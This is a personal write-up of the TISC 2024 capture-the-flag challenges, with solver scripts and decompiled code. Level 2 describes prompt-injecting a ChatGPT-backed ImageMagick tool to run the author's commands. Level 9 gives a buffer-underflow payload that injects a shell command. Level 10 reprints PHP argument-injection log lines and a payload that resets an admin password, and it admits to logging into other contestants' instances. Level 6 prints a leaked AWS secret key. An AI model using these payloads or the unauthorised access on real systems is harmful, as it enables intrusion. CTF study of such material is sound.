Ryan Loh - TISC 2024 Writeup

I made it to level 10 after countless days of stressful insomnia :(

I have learned a lot from this year’s challenges and am very grateful to CSIT and its organizers for giving me this awesome opportunity to explore and dive into the realms of cybersecurity. I would also like to congratulate those participants who made it into the same league as I am now 🙌.

Traversing through the challenges, few were easy, some were mediocre and most were tough. I enjoyed both the hardware and software challenges and it took me a few grueling days to solve but the notion of not giving up and striving to win always kept my sanity and my will intact. In the end, I would say it totally paid off!

Level 1 - Navigating the Digital Labyrinth

Navigating through social media, I pondered upon vi_vox223 on Instagram. At first glance, I knew I found it!

Traversing through his stories, I found out he posted about a Discord bot ID

After adding it to my Discord server, I tried messing with the commands provided

One file caught my eye which was the Email .eml files

Inputing the hex into Uber H3 reveals a mysterious location

Clicking the Linkin link provided in the .eml files, we stumbled upon a suspicious Telegram bot.

Playing around with the bot, I tried many inputs but I quickly figured out it is asking for the name of the location on the Uber H3 coordinates.

Inputing the location from Google Map we finally retreive the flag from the Telegram Bot

Level 2 - Language, Labyrinth and (Graphics)Magick

I encounted difficulties with this challenge because the server is slow but fortunately, the admins spun up more servers

Interesting, I tried playing around with the input and quickly figured out that it is using ChatGPT to generate commands to feed into ImageMagick

We can manipulate ChatGPT to append our malicious payload to the output and execute our own commands

Entering to the temp file we get the flag.

Level 3 - Digging Up History

For this challenge, I used Forensic Toolkit by Accessdata to extract everything into a folder and used grep to find hidden flags

I grep couple of keywords such as TISC{ and then aws

Upon entering https://csitfan-chall.s3.amazonaws.com/flag.sus, I downloaded a base64 encoded message which contains the flag

I grep couple of keywords such as TISC{ and then aws


ryan@ColdChip:~$ echo 'VElTQ3t0cnUzXzFudDNybjN0X2gxc3QwcjEzXzg0NDU2MzJwcTc4ZGZuM3N9' | base64 -d
TISC{tru3_1nt3rn3t_h1st0r13_8445632pq78dfn3s}
					

Level 4 - AlligatorPay

Upon analyzing the JavaScript, there are some decryption function for the uploaded file the user has uploaded


async function decryptData(encryptedData, key, iv) {
	const cryptoKey = await crypto.subtle.importKey(
	  "raw",
	  key,
	  { name: "AES-CBC" },
	  false,
	  ["decrypt"]
	);
	const decryptedBuffer = await crypto.subtle.decrypt(
	  { name: "AES-CBC", iv: iv },
	  cryptoKey,
	  encryptedData
	);
	return new DataView(decryptedBuffer);
}
					

Reverse engineering time! I have written some C code to encrypt(do the reverse) to generate the correct file


#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <openssl/evp.h>
#include <openssl/aes.h>
#include <arpa/inet.h>
#include "md5.h"

#define MIN(x, y) (((x) < (y)) ? (x) : (y))
#define MAX(x, y) (((x) > (y)) ? (x) : (y))

#if __BIG_ENDIAN__
# define htonll(x) (x)
# define ntohll(x) (x)
#else
# define htonll(x) (((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 32))
# define ntohll(x) (((uint64_t)ntohl((x) & 0xFFFFFFFF) << 32) | ntohl((x) >> 32))
#endif

typedef struct  __attribute__((packed)) {
	char header[5];
	uint16_t version;
	char key[32];
	char reserved[10];
	char iv[16];
	char data[48];
	char footer[6];
	char checksum[16];
} alligatorpay_t;

typedef struct  __attribute__((packed)) {
	char number[16];
	uint32_t idontknow;
	uint32_t expiry;
	uint64_t balance;
} card_t;

int main(int argc, char const *argv[])
{
	/* code */

	alligatorpay_t a = {
		.header = "AGPAY",
		.version = 0,
		.footer = "ENDAGP"
	};

	card_t indata = {
		.number = "1234567812345678",
		.expiry = 0,
		.balance = htonll(313371337l)
	};
    unsigned char outdata[1024];

    int outLen1 = 0; 
    int outLen2 = 0;

	EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
	EVP_EncryptInit(ctx, EVP_aes_256_cbc(), a.key, a.iv);

	EVP_EncryptUpdate(ctx, outdata, &outLen1, (unsigned char*)&indata, sizeof(indata));
	EVP_EncryptFinal(ctx, outdata + outLen1, &outLen2);

	printf("%i\n", outLen1 + outLen2);

	memcpy(a.data, outdata, outLen1 + outLen2);

	MD5_CTX md5;
	md5_init(&md5);
	md5_update(&md5, a.iv, sizeof(a.iv));
	md5_update(&md5, a.data, sizeof(a.data));
	md5_final(&md5, a.checksum);

	FILE *fp = fopen("test.bin", "wb");  // create and/or overwrite
	if(!fp) {
		printf("Error in creating file. Aborting.\n");
		return -2;
	}

	fwrite(&a, sizeof(a), 1, fp);  

	fclose(fp);


	return 0;
}
					

Uploading the generated file, we get the flag.

Level 5 - Hardware isnt that Hard!

After a few days of frustration and no luck, I finally wrote a script to bruteforce the I2C address.


from pwn import *
r = remote('chals.tisc24.ctf.sg', 61622)

r.recvuntil('https://en.wikipedia.org/wiki/I%C2%B2C#Reference_design')
r.recvline()
r.recvline()

for x in range(105, 128):
	for i in range(0, 256):

		ll = (x << 1) | 0x00;
		ly = (x << 1) | 0x01;

		payload = "SEND " + '{:02x}'.format(ll) + " " + '{:02x}'.format(i) + " " + '{:02x}'.format(ly)
		print(payload)

		r.sendline(payload)
		r.sendline("RECV 32")
		a = str(r.recvline())
		if(a != "b'> > 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\\n'"):
			print(a)
			exit(0)
					

Running the script, we seem to hit something at address 0xd243

We can see why after decompiling, there are 3 registers that handle the requests 0x43, 0x46 and 0x4d



/* WARNING: Globals starting with &#39;_&#39; overlap smaller symbols at the same address */

void FUN_400d1614(uint param_1)

{
  byte bVar1;
  int iVar2;
  int iVar3;
  byte bVar4;
  uint uVar5;
  int iVar6;
  int in_WindowStart;
  undefined auStack_30 [12];
  uint uStack_24;
  
  memw();
  memw();
  uStack_24 = _DAT_3ffc20ec;
  FUN_400d36ec(0x3ffc1ecc,s_i2c_recv_%d_byte(s):_3f400163,param_1);
  iVar2 = (uint)(in_WindowStart == 0) * (int)auStack_30;
  iVar3 = (uint)(in_WindowStart != 0) * (int)(auStack_30 + -(param_1 + 0xf &amp; 0xfffffff0));
  FUN_400d37e0(0x3ffc1cdc,iVar2 + iVar3,param_1);
  FUN_400d2fa8(iVar2 + iVar3,param_1);
  if (0 &lt; (int)param_1) {
    uVar5 = (uint)*(byte *)(iVar2 + iVar3);
    if (uVar5 != 0x52) goto LAB_400d1689;
    memw();
    uRam3ffc1c80 = 0;
  }
  while( true ) {
    uVar5 = uStack_24;
    param_1 = _DAT_3ffc20ec;
    memw();
    memw();
    if (uStack_24 == _DAT_3ffc20ec) break;
    func_0x40082818();
LAB_400d1689:
    if (uVar5 == 0x46) {
      iVar6 = 0;
      do {
        memw();
        bVar1 = (&amp;DAT_3ffbdb6a)[iVar6];
        bVar4 = FUN_400d1508();
        memw();
        *(byte *)(iVar6 + 0x3ffc1c80) = bVar1 ^ bVar4;
        iVar6 = iVar6 + 1;
      } while (iVar6 != 0x10);
    }
    else if (uVar5 == 0x4d) {
      memw();
      uRam3ffc1c80 = DAT_3ffbdb7a;
      memw();
    }
    else if ((param_1 != 1) &amp;&amp; (uVar5 == 0x43)) {
      memw();
      bVar1 = *(byte *)(*(byte *)(iVar2 + iVar3 + 1) + 0x3ffbdb09);
      bVar4 = FUN_400d1508();
      memw();
      (&amp;DAT_3ffc1c1f)[*(byte *)(iVar2 + iVar3 + 1)] = bVar1 ^ bVar4;
    }
  }
  return;
}


					

Trying with register 0x46 and attempting to read data from it using address 0xd3(first bit is set to read) reveals some data

However, its gibberish

Digging further, we find another function that is used to XOR with the output


ushort FUN_400d1508(void)

{
  ushort uVar1;
  
  memw();
  memw();
  uVar1 = DAT_3ffbdb68 << 7 ^ DAT_3ffbdb68;
  memw();
  memw();
  memw();
  uVar1 = uVar1 >> 9 ^ uVar1;
  memw();
  memw();
  memw();
  DAT_3ffbdb68 = uVar1 << 8 ^ uVar1;
  memw();
  memw();
  return DAT_3ffbdb68;
}


					

Writing C code to bruteforce with the output


#include <stdio.h>
#include <stdint.h>

uint16_t DAT_3ffbdb68 = 1;

uint16_t unknown_procedure() {
	uint16_t uVar1;
	uVar1 = DAT_3ffbdb68 << 7 ^ DAT_3ffbdb68;
	uVar1 = uVar1 >> 9 ^ uVar1;
	DAT_3ffbdb68 = uVar1 << 8 ^ uVar1;
	return DAT_3ffbdb68;
}

int main(int argc, char const *argv[]) {
	/* code */

	int z = 1;

	while(1) {

		DAT_3ffbdb68 = z;
		z++;

		char payload[] = {
			0x91, 0x1f, 0x28, 0xb6, 0x47, 0x0c, 0x60, 0xcc, 0x9d, 0xca, 0xba, 0x17, 0x9f, 0x14, 0xa4, 0xdc
		};

		for(int i = 0; i < sizeof(payload); ++i) {

			uint16_t a = unknown_procedure();

			payload[i] = (((char)a) ^ payload[i]) & 0xff;
		}

		if(memcmp(payload, "TISC", 4) == 0) {
			for(int i = 0; i < sizeof(payload); ++i) {
				printf("%c", payload[i]);
			}
			break;
		}

		printf("\n");
	}

	return 0;
}
					

We got the flag!


TISC{hwfuninnit}
					

Level 6 - Meownitoring

Level 6 is where it gets tough because I haven't done any cloud challenges before haha

Given to us are a bunch of AWS CloudTrail logs and a readme file. The readme file contains a link to a website.


# Workplan
Setup monitoring and logs analysis process for PALINDROME. 
Compare products (we have 1 beta testing rights, need to source for others)

## Product 1: Meownitoring (Beta Test)
`https://d231g4hz442ywp.cloudfront.net`

1. Any sensitive info in logs / monitoring? 
2. How secure is the setup?
3. Usefulness of dashboard? Buggy? 
					

After creating an account on the website and playing around with it, there is a page that asks for an AWS arn which I then scurried through the logs and try each of them

Out of the many arns, there is one arn:aws:iam::637423240666:role/mewonitoring-lambda-test which seems to print more logs

We get out first clue as there is a secret key e+4awZv0dnDaFeIbuvKkccqhjuNOr9iUb+gx/TMe hidden in the logs

The secret key has access to s3://meownitoringtmpbucket which I used it to list out the objects

Anddddd, we found the first part of the flag TISC{m@ny_inf0_frOm_l0gs_

I browsed through other bucket and uncovered more logs

And in the logs, there are AWS API Gateway created

I'm lazy to traverse through every route so I created a Python script that can comb through every route in the log and attempt to do a HTTP request


import json
import sys
import os

json_file_name = sys.argv[1]

folder = sys.argv[1]

directory = os.fsencode(folder)
    
for file in os.listdir(directory):
	filename = folder + "/" + os.fsdecode(file)
	if os.path.isfile(filename):

		fp = open(filename)

		data = json.load(fp)

		for dictionary in data['Records']:
			time = dictionary.get('eventTime')
			source_ip = dictionary.get('sourceIPAddress')
			event_name = dictionary.get('eventName')
			user_type = dictionary.get('userIdentity').get('type')
			user_accountid = dictionary.get('userIdentity').get('accountId')
			user_arn = dictionary.get('userIdentity').get('arn')

			print(time, source_ip, event_name, user_type, user_accountid, user_arn)

		fp.close()
					

I found the the second flag in POST https://pxzfkfmjo7.execute-api.ap-southeast-1.amazonaws.com/5587y0s9d5aed/68fd47b8bf291eeea36480872f5ce29f0edb

flags 1 + 2 combined: TISC{m@ny_inf0_frOm_l0gs_&_me-0-wn1t0r1nNnG\\//[>^n^<]\\//}

Level 7 - WebAsmLite

I am looking forward to a VM based challenge in TISC2024 and it finally came true!!!

Okay so I browse through the JS files provided and learnt that it is a custom ISA register based VM. It has basic instruction but the one that stands out is READ and WRITE

READ and WRITE is used to perform r/w operations to a custom implementation of a linear permission based file system passed in as an instance to the VM.

Furthur analysis, there are 2 routes /submitdevjob and /requestadmin but let's focus on /requestadmin as it contains the flag in the filesystem.

1. The flag is created in flag.txt with admin(privlvl: 42) when the route /requestadmin is called

2. The instructions we input is executed in both admin and public VM. However the admin output is REDACTED

3. How can we access flag.txt with lower privlvl?

Answer: Flag smuggling :D

Explanation: we can bruteforce every combination of the flag and since we cannot see the admin output, we create a temp file in the filesystem and when we execute as public, we can see if the temp file exists as the boolean value of the combination existence

Python code to bruteforce


import requests

flag = ""

for x in range(32, 64):
	for i in range(0, 128):
		payload = """
READ:flag.txt;
JNZ:0:9;

IMM:0:$INDEX;
LOAD:0:0;

IMM:1:$STRING_TO_TEST;

SUB:0:0:1;
JZ:0:2;
WRITE:SMUGGLE_LETTER_BY_LETTER;

IMM:0:0;
JZ:0:4;

IMM:0:0;
WRITE:SMUGGLE_LETTER_BY_LETTER;
READ:SMUGGLE_LETTER_BY_LETTER;


HALT;
		"""

		payload = payload.replace("$INDEX", str(x))
		payload = payload.replace("$STRING_TO_TEST", str(i))

		data = {
		    'prgmstr': payload
		}

		headers = {
		    'Content-Type': 'application/x-www-form-urlencoded'
		}
		response = requests.post("http://chals.tisc24.ctf.sg:50128/requestadmin", data=data, headers=headers)
		reg0 = int(response.json()["userResult"]["vm_state"]["reg"].split(",")[0])

		if reg0 == 0:
			flag += chr(i)
			print(flag)
			break;
					

Bellissimo! We got the flag!!!

Level 8 - Wallfacer

Omg!!! I was stuck in this challenge for 4 days and almost to the verge of giving up... but I made it anyways...

Here's how I solved it

1. Given in the challenge is an APK file.

2. Challenge description says that there are things loaded only when the APK is run???

After 4 days of frustration, I found some clues!!!


L_0x0030:
	android.content.Context r12 = r12.b
	r0 = 2131689528(0x7f0f0038, float:1.9008074E38)
	java.lang.String r0 = r12.getString(r0)     // Catch:{ Exception -> 0x006b }
	java.lang.String r1 = new java.lang.String     // Catch:{ Exception -> 0x006b }
	r2 = 0
	byte[] r0 = android.util.Base64.decode(r0, r2)     // Catch:{ Exception -> 0x006b }
	r1.<init>(r0)     // Catch:{ Exception -> 0x006b }
	java.nio.ByteBuffer r0 = defpackage.A8.K(r12, r1)     // Catch:{ Exception -> 0x006b }
	dalvik.system.InMemoryDexClassLoader r1 = new dalvik.system.InMemoryDexClassLoader     // Catch:{ Exception -> 0x006b }
	java.lang.ClassLoader r2 = r12.getClassLoader()     // Catch:{ Exception -> 0x006b }
	r1.<init>(r0, r2)     // Catch:{ Exception -> 0x006b }
	java.lang.String r0 = "DynamicClass"
	java.lang.Class r0 = r1.loadClass(r0)     // Catch:{ Exception -> 0x006b }
	java.lang.Class<android.content.Context> r1 = android.content.Context.class
	java.lang.Class[] r1 = new java.lang.Class[]{r1}     // Catch:{ Exception -> 0x006b }
	java.lang.String r2 = "dynamicMethod"
	java.lang.reflect.Method r0 = r0.getMethod(r2, r1)     // Catch:{ Exception -> 0x006b }
	java.lang.Object[] r12 = new java.lang.Object[]{r12}     // Catch:{ Exception -> 0x006b }
	r1 = 0
	r0.invoke(r1, r12)     // Catch:{ Exception -> 0x006b }
					

How is works:

1. R.strings.2131689528... is loaded as data/sqlite.db (fake sqlite file disguised as dex)

2. Decrypts data/sqlite.db

3. Executes the decrypted payload using InMemoryDexClassLoader

4. Decrypts encrypted native library chunks using AES GCM

5. Runs the native library

I wrote a script and decrypt everything including the native library


import javax.crypto.Cipher;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.GCMParameterSpec;
import javax.crypto.spec.PBEKeySpec;
import javax.crypto.spec.SecretKeySpec;

import java.util.Base64;
import java.io.File;
import java.io.*;
import java.nio.file.*;
import java.nio.*;
import java.io.ByteArrayOutputStream;


class C0289q1 {
    public int a;
    public byte[] b;
    public byte[] c;

    public C0289q1(byte[] bArr) {
        this.a = 17;
        this.b = bArr;
        this.c = new byte[256];
        for (int i = 0; i < 256; i++) {
            ((byte[]) this.c)[i] = (byte) i;
        }
        int b2 = 0;
        for (int i2 = 0; i2 < 256; i2++) {
            byte[] bArr2 = (byte[]) this.c;
            byte b3 = bArr2[i2];
            byte[] bArr3 = (byte[]) this.b;
            b2 = (b2 + (b3 & 255) + (bArr3[i2 % bArr3.length] & 255)) & 255;
            bArr2[i2] = bArr2[b2];
            bArr2[b2] = b3;
        }
    }

}

/* renamed from: Oa  reason: default package */
public class Decrypt {


    public static byte[] WTF(String str) throws Exception {
        int i2;
        InputStream open = new FileInputStream(new File(str));
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        byte[] bArr = new byte[1024];
        while (true) {
            int read = open.read(bArr);
            if (read == -1) {
                break;
            }
            byteArrayOutputStream.write(bArr, 0, read);
        }
        open.close();
        byte[] byteArray = byteArrayOutputStream.toByteArray();
        byte[] bArr2 = new byte[128];
        byte[] bArr3 = new byte[4];
        System.arraycopy(byteArray, 4096, bArr3, 0, 4);
        int i3 = ByteBuffer.wrap(bArr3).getInt();
        byte[] bArr4 = new byte[i3];
        System.arraycopy(byteArray, 4100, bArr4, 0, i3);
        System.arraycopy(byteArray, 4100 + i3, bArr2, 0, 128);
        C0289q1 q1Var = new C0289q1(bArr2);
        byte[] bArr5 = new byte[i3];
        int i4 = 0;
        int b2 = 0;
        for (i2 = 0; i2 < i3; i2++) {
            i4 = (i4 + 1) & 255;
            byte[] bArr6 = (byte[]) q1Var.c;
            byte b3 = bArr6[i4];
            b2 = (b2 + (b3 & 255)) & 255;
            bArr6[i4] = bArr6[b2];
            bArr6[b2] = b3;
            bArr5[i2] = (byte) (bArr6[(bArr6[i4] + b3) & 255] ^ bArr4[i2]);
        }
        return (bArr5);
    }

    public static byte[] a(byte[] bArr, String str, byte[] bArr2) throws Exception {
        byte[] b = bb(str, bArr2);

        Cipher instance = Cipher.getInstance("AES/GCM/NoPadding");
        byte[] iv = new byte[12];
        int length = bArr.length - 12;
        byte[] bArr4 = new byte[length];
        System.arraycopy(bArr, 0, iv, 0, 12);
        System.arraycopy(bArr, 12, bArr4, 0, length);
        instance.init(Cipher.DECRYPT_MODE, new SecretKeySpec(b, "AES"), new GCMParameterSpec(128, iv));
        return instance.doFinal(bArr4);
    }

    private static byte[] bb(String str, byte[] bArr) throws Exception {
        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(str.toCharArray(), bArr, 16384, 256)).getEncoded();
    }

    public static void main(String[] args) {
        try {
            Path path = Paths.get("0$d4a1NDA5TkDcvPPA_97qGA");

            byte[] data = Files.readAllBytes(path);

            byte[] salt = Base64.getDecoder().decode("U1FMaXRlIGZvcm1hdCAzAA==");

            byte[] b = Decrypt.WTF("sqlite.db");

            System.out.println(b.length);

            for(int i = 0; i < 32; i++) {
                System.out.print((char)(b[i] & 0xFF));
            }

            OutputStream os = new FileOutputStream(new File("out.dex"));
 
            os.write(b);
 
            os.close();


            String[] list = {
                                "0$d4a1NDA5TkDcvPPA_97qGA", 
                                "1$-jdd8_tomhupBCl9KWd8xA",  
                                "2$lFLwXjQ9kfzjBqIAI43f-Q", 
                                "3$JwwVFYd1_JvfrcL91sUOoQ",  
                                "4$Xz61-8GuN_p5gECXlLwIyA",
                                "5$Je3mRGwJ1MvkQ-ZXfApZgQ",
                                "6$KrPqTP4Iu8-DNlpja70rcA",
                                "7$K30_BnqsT-e6-qRdbWhW4Q",
                                "8$svSIG6hueT4M509sCJTACQ"
                            };

            String str2 = "wallowinpain";
            File file = new File("libnative.so");
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            
            for (String str3 : list) {

                byte[] payload = Files.readAllBytes(Paths.get("data/" + str3));

                str3 = str3.replace('_', '/');
                str3 = str3.replace('-', '+');
                
                fileOutputStream.write((byte[]) Decrypt.a(payload, str2, Base64.getDecoder().decode(str3.split("\\$")[1] + "==")));
            }
            fileOutputStream.close();



        } catch(Exception e) {
            System.out.println("error: " + e.toString());
        }
    }
}

					

From then on, I created a proxy app for me to load the native library and do patching to it for it to finally print out the flag

I don't want to relive the pain but here whats I did

1. Patched 2 function arguments from 1 to 0x1337

2. Patched a jump table

I then decrypt the flag from strings.xml using AES CBC

Level 9 - Imphash

It was an interesting challenge! Imphash stands for import hash and it is used by antivirus software to get the signature of a binary by its imports.

This challenge uses Radare2 to load the challenge imphash library which made it significant harder to debug

Decompiled libcoreimp.so


__int64 __fastcall r_cmd_imp_client(__int64 a1, __int64 a2)
{
  void *v3; // rax
  __int64 *v4; // rax
  size_t v8; // rax
  void *v9; // rax
  char v10[96]; // [rsp+10h] [rbp-1210h] BYREF
  char s[16]; // [rsp+70h] [rbp-11B0h] BYREF
  char v12[37]; // [rsp+80h] [rbp-11A0h] BYREF
  char v13[8]; // [rsp+A5h] [rbp-117Bh] BYREF
  __int16 v14; // [rsp+180h] [rbp-10A0h]
  char v15[4110]; // [rsp+182h] [rbp-109Eh] BYREF
  int v16; // [rsp+1190h] [rbp-90h]
  int v17; // [rsp+1194h] [rbp-8Ch]
  char *v18; // [rsp+1198h] [rbp-88h]
  char *v19; // [rsp+11A0h] [rbp-80h]
  char *v20; // [rsp+11A8h] [rbp-78h]
  char *v21; // [rsp+11B0h] [rbp-70h]
  char *v22; // [rsp+11B8h] [rbp-68h]
  __int64 v23; // [rsp+11C0h] [rbp-60h]
  __int64 v24; // [rsp+11C8h] [rbp-58h]
  const char *v25; // [rsp+11D0h] [rbp-50h]
  __int64 v26; // [rsp+11D8h] [rbp-48h]
  __int64 v27; // [rsp+11E0h] [rbp-40h]
  __int64 ObjectItemCaseSensitive; // [rsp+11E8h] [rbp-38h]
  __int64 v29; // [rsp+11F0h] [rbp-30h]
  __int64 v30; // [rsp+11F8h] [rbp-28h]
  __int64 v31; // [rsp+1200h] [rbp-20h]
  int m; // [rsp+120Ch] [rbp-14h]
  int k; // [rsp+1210h] [rbp-10h]
  int j; // [rsp+1214h] [rbp-Ch]
  __int64 *i; // [rsp+1218h] [rbp-8h]

  v31 = a1;
  if ( !(unsigned __int8)r_str_startswith_inline(a2, &unk_21A0) )
    return 0LL;
  v14 = 0;
  memset(v15, 0, 0x1000uLL);
  memset(s, 0, 0x110uLL);
  strcpy(v12, "echo ");
  strcpy(v13, " > out");
  v30 = r_core_cmd_str(v31, &unk_21A4);
  v29 = cJSON_Parse(v30);
  ObjectItemCaseSensitive = cJSON_GetObjectItemCaseSensitive(v29, "bintype");
  if ( !strncmp(*(const char **)(ObjectItemCaseSensitive + 32), "pe", 2uLL) )
  {
    v3 = (void *)r_core_cmd_str(v31, "aa");
    free(v3);
    v27 = r_core_cmd_str(v31, "iij");
    v26 = cJSON_Parse(v27);
    i = 0LL;
    if ( v26 )
      v4 = *(__int64 **)(v26 + 16);
    else
      v4 = 0LL;
    for ( i = v4; i; i = (__int64 *)*i )
    {
      v24 = cJSON_GetObjectItemCaseSensitive(i, "libname");
      v23 = cJSON_GetObjectItemCaseSensitive(i, "name");
      if ( v24 && v23 )
      {
        v22 = *(char **)(v24 + 32);
        v21 = *(char **)(v23 + 32);
        v20 = strpbrk(v22, ".dll");
        if ( !v20 || v20 == v22 )
        {
          v19 = strpbrk(v22, ".ocx");
          if ( !v19 || v19 == v22 )
          {
            v18 = strpbrk(v22, ".sys");
            if ( !v18 || v18 == v22 )
            {
              puts("Invalid library name! Must end in .dll, .ocx or .sys!");
              return 1LL;
            }
          }
        }
        v17 = strlen(v22) - 4;
        v16 = strlen(v21);
        if ( 4094LL - v14 < (unsigned __int64)(v17 + v16) )
        {
          puts("Imports too long!");
          return 1LL;
        }
        for ( j = 0; j < v17; ++j )
          v15[v14 + j] = tolower(v22[j]);
        v14 += v17;
        v15[v14++] = 46;
        for ( k = 0; k < v16; ++k )
          v15[v14 + k] = tolower(v21[k]);
        v14 += v16;
        v15[v14++] = 44;
      }
    }
    MD5_Init(v10);
    v8 = strlen(v15);
    MD5_Update(v10, v15, v8 - 1);
    MD5_Final(s, v10);
    v25 = "0123456789abcdef";
    for ( m = 0; m <= 15; ++m )
    {
      v12[2 * m + 5] = v25[(s[m] >> 4) & 0xF];
      v12[2 * m + 6] = v25[s[m] & 0xF];
    }
    v9 = (void *)r_core_cmd_str(v31, v12);
    free(v9);
    return 1LL;
  }
  else
  {
    puts("File is not PE file!");
    return 1LL;
  }
}
					

Debugging a .so library is a challenge, but since it is calling functions such as r_core_cmd_str and MD5_Update, we can hook into it by creating our custom .so and patching the ELF imports

custom_hook.c


#include <r_types.h>
#include <r_lib.h>
#include <r_cmd.h>
#include <r_core.h>
#include <r_hash.h>

#include <stdio.h>

extern void *c_core_cmd_str(void *user, char *cmd);

void CD5_Update(void *ptr, char *data, int len) {
	//r_hash_md5_update(ptr, data, len);

	FILE *fp = fopen("/home/ryan/tisc2024/imphash/memdump", "w+");
	if(!fp) {
		return NULL;
	}

	for(char *i = data - 512; i < data + 512; i++) {
		char bit = *i & 0xff;
		fwrite(&bit, sizeof(bit), 1, fp);
	}

	fclose(fp);

	printf("%s\n", data);

	signed short test = *(signed short*)(data - 2);
	printf("HERE: %i\n", test);

	for(int i = 0; i < 2; i++) {
		printf("%02x", data[i - 2] & 0xff);
	}

	printf("\n");

}

char *read_file(const char *file) {
	FILE *infp = fopen(file, "rb");
	if(!infp) {
		return NULL;
	}
	fseek(infp, 0, SEEK_END);
	long fsize = ftell(infp);
	char *p = malloc(fsize + 1);
	fseek(infp, 0, SEEK_SET);

	if(fread((char*)p, 1, fsize, infp)) {}

	fclose(infp);
	*(p + fsize) = '\0';

	return p;
}

void *c_core_cmd_str(void *user, char *cmd) {
	if(strstr(cmd, "iij")) {

		return read_file("/home/ryan/tisc2024/imphash/data.json");
	} else {
		printf("%s\n", cmd);
		return r_core_cmd_str(user, cmd);
	}
}
					

Both and place in radare2 plugins folder

From now on:

1. r_cmd_imp_client is patched to c_cmd_imp_client in libcoreimp.so

1. MD5_Update is patched to CD5_Update in libcoreimp.so

2. libcoreimp.so now loads my custom libcorehook.so

With everything patched, we can now easily inject or dump the memory

After playing with it, I concluded that we can bypass the .dll, .ocx, .sys check with specific 2 character combinations such as xl or ax


v20 = strpbrk(v22, ".dll");
if ( !v20 || v20 == v22 )
{
  v19 = strpbrk(v22, ".ocx");
  if ( !v19 || v19 == v22 )
  {
    v18 = strpbrk(v22, ".sys");
    if ( !v18 || v18 == v22 )
    {
      puts("Invalid library name! Must end in .dll, .ocx or .sys!");
      return 1LL;
    }
  }
}
					

And then the file name length is subtracted by 4 and then, is appended to a 4096 bytes buffer


v17 = strlen(v22) - 4; 
					

we can bypass the .dll check with xl and as such, strlen("xl") - 4 is -2

Andddddddddd the main question is: Can we buffer underflow it and overwrite data above of it?

YES!

Luckily for us, above the 4096 bytes buffer, there is a int16_t counter which is used to track the current position of the appended file names


__int16 v14; // [rsp+180h] [rbp-10A0h]
char v15[4110]; // [rsp+182h] [rbp-109Eh] BYREF
					

With the ability to change the position of the counter, what else can we overwrite?


strcpy(v12, "echo ");
strcpy(v13, " > out");
					

Yes, we can change the command that outputs the hash! The command buffer is about 200 bytes above the counter

[command buffer] <...200 bytes...> [int16 counter][char 4096 buffer]

After many tries, I crafted out a JSON payload to overwrite the counter and copy flag.txt to out


[
	{
		"libname": "xl",
		"name": "hh"
	}, {
		"libname": "omg.dll",
		"name": "heyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyheyhxxx"
	}, {
		"libname": "!.dll",
		"name": "t"
	}, {
		"libname": "ccccdccccsxsxsxsxsxsssssssssxx || cat flag.txt > out;.dll",
		"name": "a"
	}
]
					

Now, I generated a fake .exe file and using PEBear, patched every import according to my crafted JSON.

Here comes the flag!

Level 10 - Diffuse

Hardest level of all and there is an incident where I also unknowingly accessed to other participants instances

The incident happened because the instance is hosted in a private VPC 10.0.0.0/24 and nmapping the subnet shows there are about 15 other instances running

Thinking that the other instances were part of the challenge, I tried to access with the password given to me

Which I am able to because all the instances share the same password

I hope this incident doesn't void my participation. I did not mean to... haha...

Ok to start off, I snuff through other instances and found some clues in access.log under C:\xampp\


::1 - - [20/Sep/2024:04:19:54 +0000] "POST /submit.php?%ADd+allow_url_include%3d1+%ADd+auto_%70%72%65%70%65%6e%64_file%3dphp://input HTTP/1.1" 200 2645 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.383"  
::1 - - [20/Sep/2024:04:20:52 +0000] "POST /submit.php?%ADd+allow_url_include%3d1+%ADd+auto_%70%72%65%70%65%6e%64_file%3dfile:///C/Users/diffuser/Desktop/skibidi.png HTTP/1.1" 200 296 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.383"
::1 - - [20/Sep/2024:04:21:06 +0000] "POST /submit.php?%ADd+allow_url_include%3d1+%ADd+auto_%70%72%65%70%65%6e%64_file%3dfile:///Users/diffuser/Desktop/skibidi.png HTTP/1.1" 200 311310 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.383"
::1 - - [20/Sep/2024:04:26:38 +0000] "POST /submit.php?%ADd+allow_url_include%3d1+%ADd+auto_%70%72%65%70%65%6e%64_file%3dfile:///Users/diffuser/Desktop/cmd.txt HTTP/1.1" 200 2709 "-" "Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.383"
					

Using this clues, I did some research and it turns out it is a allow_url_include exploit

I then took advantage of this exploit and used it to change the password of the other admin user diffuse


<?php echo system('net user diffuse 1a2b3c4d'); die(); ?>
					

And now, we can log in using diffuse

Running the tree command prints some sus folders


diffuse@DIFFUSE C:\Users\diffuse>tree /a   
Folder PATH listing for volume Windows
Volume serial number is 0000006C EAA4:4451
C:.
+---.ssh
+---Contacts
+---Desktop
|   +---favourites
|   \---project_incendiary
|       +---designs
|       +---locations
|       \---schemetics

					

And also in AppData


diffuse@DIFFUSE C:\Users\diffuse>dir /a:h AppData\Roaming\Incendiary
Volume in drive C is Windows
Volume Serial Number is EAA4-4451

Directory of C:\Users\diffuse\AppData\Roaming\Incendiary

09/07/2024  02:31 PM    <DIR>          Schematics
               0 File(s)              0 bytes
               1 Dir(s)  97,150,332,928 bytes free
					

I scp everything to my pc

My findings are

1. firmware.hex and I knew it is an Arduino firmware :D

2. schematics.pdf shows us the schematic of the b()mb

And then I saw "Wokwi" in the schematics. That saved my a$$ for almost checking out a $200 Arduino kit on Amazon HAHAHAA

I then assembled the circuit on Wokwi with a custom UART chip

